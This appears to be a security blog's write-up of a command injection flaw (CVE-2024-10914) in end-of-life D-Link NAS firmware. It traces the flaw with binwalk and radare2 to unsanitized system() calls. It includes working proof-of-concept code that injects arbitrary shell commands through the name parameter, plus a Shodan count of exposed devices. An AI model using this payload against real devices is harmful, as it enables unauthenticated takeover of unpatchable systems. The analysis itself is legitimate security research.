Woke up today to find a juicy new Command Injection vulnerability hitting D-Link devices. While it’s no surprise to see vulnerabilities popping up every other day, this one caught my eye. I’ve been hands-on with these devices before, so I thought, why not dive in and see what’s actually going down?

Here’s the kicker D-Link isn’t bothering to fix it. These devices are officially End of Life. No more software updates, no security patches, no support. Time to drop cash on a new device.

The issue lies in how the cgi_user_add command within the account_mgr.cgi script handles the name parameter. This flaw allows an unauthenticated attacker to inject arbitrary shell commands through crafted HTTP GET requests. And it’s pretty easy to exploit.

Shoutout to netsecfish for discovering this vulnerability.

Firmware Analysis

Grabbed the firmware for one of the affected models, the DNS-340L. Compile date from 2018, no more updates. You can find it here: DNS-340L Firmware

After you grab the firmware, it’s wrapped in a ZIP. Unzip it and you’re left with a binary. Run file on it and it just tells you it’s “LIF” (Linux Initial File System). So what now?

Binwalk. When the firmware isn’t encrypted (pretty common with many manufacturers), Binwalk scans the image, hunts down known file types or compressed formats, and extracts them. It keeps peeling the onion, recursively unpacking everything layer by layer. What we usually end up with is either a SquashFS or JFFS2 file system containing the binaries we need to start poking around.

firmware analysis workflow

Keep in mind the SquashFS needs to be mounted to browse through. From the article, we know the vulnerability lies within the account_mgr.cgi script. Goal is to locate this script within the extracted files.

We’ve got an executable, so let’s put it in r2. But first, I ran strings looking for cgi_user_add because that’s where the vuln is triggered.

Tracing the Vulnerable Path

r2 xref to cgi_user_add

We begin with sym.cgiMain, which calls fcn.000154f0 at address 0x23848. This handles data coming from a web form, probably the HTTP POST request. The function starts with stack adjustments, standard ARM pattern:

pdf @ fcn.000154f0
            ; CALL XREF from sym.cgiMain @ 0x23848(x)
 200: fcn.000154f0 ();
           ; var int32_t var_3000h @ sp-0x100
           ; var int32_t var_3080h @ sp-0x80
           ; var int32_t var_3000h_2 @ sp+0x20
           0x000154f0      f0412de9       push {r4, r5, r6, r7, r8, lr}
           0x000154f4      31dc4de2       sub sp, sp, 0x3100
           0x000154f8      20d04de2       sub sp, sp, 0x20
           0x000154fc      034a8de2       add r4, var_3000h
           0x00015500      c26d8de2       add r6, var_3080h
           0x00015504      204084e2       add r4, r4, 0x20
           0x00015508      206086e2       add r6, r6, 0x20
           0x0001550c      0410a0e1       mov r1, r4
           0x00015510      8020a0e3       mov r2, 0x80
           0x00015514      9c009fe5       ldr r0, str.name

Big stack allocation - 0x3100 bytes. The function dynamically allocates space for local variables (form data). r4 and r6 hold references to buffers for the extracted form data. r4 is the buffer for the name field, r6 likely for the password (pw).

The string "name" gets loaded and passed to cgiFormString, a helper for extracting form field values from the HTTP request. Same pattern repeats for pw and group:

           0x00015518      20508de2       add r5, sp, 0x20
           0x0001551c      0df5ffeb       bl sym.imp.cgiFormString
           0x00015520      0610a0e1       mov r1, r6
           0x00015524      8020a0e3       mov r2, 0x80
           0x00015528      8c009fe5       ldr r0, str.pw              ; "pw"
           0x0001552c      09f5ffeb       bl sym.imp.cgiFormString
           0x00015530      0510a0e1       mov r1, r5
           0x00015534      032aa0e3       mov r2, 0x3000
           0x00015538      80009fe5       ldr r0, str.group           ; "group"
           0x0001553c      05f5ffeb       bl sym.imp.cgiFormString
           0x00015540      00c0a0e3       mov ip, 0
           0x00015544      0c10a0e1       mov r1, ip
           0x00015548      74e09fe5       ldr lr, str._p              ; "-p"
           0x0001554c      0c00a0e1       mov r0, ip
           0x00015550      70309fe5       ldr r3, str._a              ; "-a"
           0x00015554      70709fe5       ldr r7, str._u              ; "-u"
           0x00015558      70809fe5       ldr r8, str._l              ; "-l"

After extracting the form data, it sets up command arguments (-p, -a, -u, -l). So far so good, nothing wrong with this.

I decided to step back and trace the vuln with the information we already have. From the PoC in the original article, an attacker sends a crafted HTTP GET request with malicious input in the name parameter. The URL triggers cgi_user_add with a name that includes an injected shell command.

We’re dealing with a program that processes user inputs names, passwords, groups and then creates users and modifies groups. This implies system() calls. And system() is very easy to get wrong with untrusted input. CGI is an ELF that runs as a program when you provide it with commands.

After some digging:

system() calls with unsanitized input

There it is. The account binary takes user input and throws it directly into shell commands executed by system(). Usernames, passwords, group names - all passed straight into adduser, usermod, gpasswd, and smbpasswd with zero sanitization.

You know what happens when you blindly trust user input, right?

The Irony

Here’s the interesting part. When you look at the rest of the program, they’ve been smart enough to use safe_system() instead of system() everywhere else. This is a safer wrapper they wrote specifically to prevent command injection.

[0x00010a9c]> axt @ sym.imp.safe_system
fcn.000154f0 0x1557c [CALL:--x] bl sym.imp.safe_system
fcn.000155e8 0x159d8 [CALL:--x] bl sym.imp.safe_system
fcn.000155e8 0x15c9c [CALL:--x] bl sym.imp.safe_system
fcn.000160d8 0x16118 [CALL:--x] bl sym.imp.safe_system
fcn.00016e28 0x16fa0 [CALL:--x] bl sym.imp.safe_system
fcn.00017110 0x1719c [CALL:--x] bl sym.imp.safe_system
fcn.00017f4c 0x17fdc [CALL:--x] bl sym.imp.safe_system
fcn.00018034 0x185e4 [CALL:--x] bl sym.imp.safe_system
fcn.00018678 0x18748 [CALL:--x] bl sym.imp.safe_system
fcn.0001d71c 0x1da04 [CALL:--x] bl sym.imp.safe_system
fcn.0001dbe4 0x1de6c [CALL:--x] bl sym.imp.safe_system
fcn.000213b4 0x216ac [CALL:--x] bl sym.imp.safe_system
fcn.000219b4 0x21a34 [CALL:--x] bl sym.imp.safe_system

14 cross-references to safe_system. They were aware of the risk. So, WTF?

But in the account binary, they just went ahead and used system(). Why didn’t they just use safe_system() here? It would have been a one-line fix. Possible that different teams were working on this with poor communication. If they had just used safe_system() in the account binary, the whole vuln wouldn’t exist.

It’s like putting a lock on the door after realizing there’s a big hole in the wall. A classic case of not applying consistent security throughout the program. Everything else uses safe_system(), but because they missed it in one binary, the entire device is exposed.

PoC

Sends a request to the vulnerable endpoint (/cgi-bin/account_mgr.cgi?cmd=cgi_user_add) using echo {verify_string} to confirm command execution. The verify string is random - if it shows up in the response, the system executed our injected command.

verify_string = "".join(random.choice(string.ascii_letters) for _ in range(5))
cmd = f"echo {verify_string}"
endpoint = f"/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;{cmd};%27"

Because the name parameter is passed directly to system(), any shell command works:

cmd = input("$ ")
endpoint = f"/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;{cmd};%27"

CVE-2024-10914 Exploit

Attack Surface

Who’s exploiting this? These are older D-Link NAS devices often used in small offices, homes, or by hobbyists. Prime targets for attackers looking for low-hanging fruit devices exposed to the internet but rarely updated or monitored. This kind of exploit is attractive to a wide range of actors, from skilled operators to skids. I bring up “operators” because this perfectly fits within the scope of botnet operations.

Shodan results - 78 exposed devices

Searching Shodan for devices running the specific Lighttpd version yields about 78 results. Some of these probably aren’t actually vulnerable despite matching the version. But attackers don’t need all 78 to be exploitable. And this is just what Shodan shows us - there’s more out there, just exposed to the internet.

The lack of support for these older devices only adds fuel to the fire. Users are left with no official patches, and we know how seriously people take security - until it’s too late.

Command Injection in D-Link NAS · Reversing Firmware with Radare · D-Link DNS-340L